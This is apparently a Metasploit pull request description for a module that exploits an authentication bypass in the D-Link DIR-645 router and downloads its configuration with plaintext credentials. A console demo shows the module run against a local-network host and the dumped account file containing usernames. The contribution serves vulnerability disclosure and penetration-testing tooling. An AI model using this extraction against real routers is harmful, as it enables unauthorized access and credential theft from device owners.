rapid7/metasploit-framework — pull request #1643 by m-1-k-3 (2013-03-24 10:51:10+00:00)
Title: Dlink dir645 password extractor

the dir 645 is vulnerable to authentication bypass. This vulnerabilty was discovered by Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

With this you are able to download the config with plaintext credentials.

Details:
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_645_password_extractor) > run

[+] 192.168.178.200:80 - credentials successfully extracted
[+] 192.168.178.200:80 - Account details downloaded to: /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Exploiting Demo - 192.168.178.105 / 0 auxiliary(dlink_dir_645_password_extractor) > cat /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt
[*] exec: cat /root/.msf4/loot/20130324114814_default_192.168.178.200_account_details._273540.txt

DEVICE.ACCOUNT

DIR-645

2
2
2

USR-
admin

admin
0

USR-1
user

101

0

0

600
128
16

Best,
Mike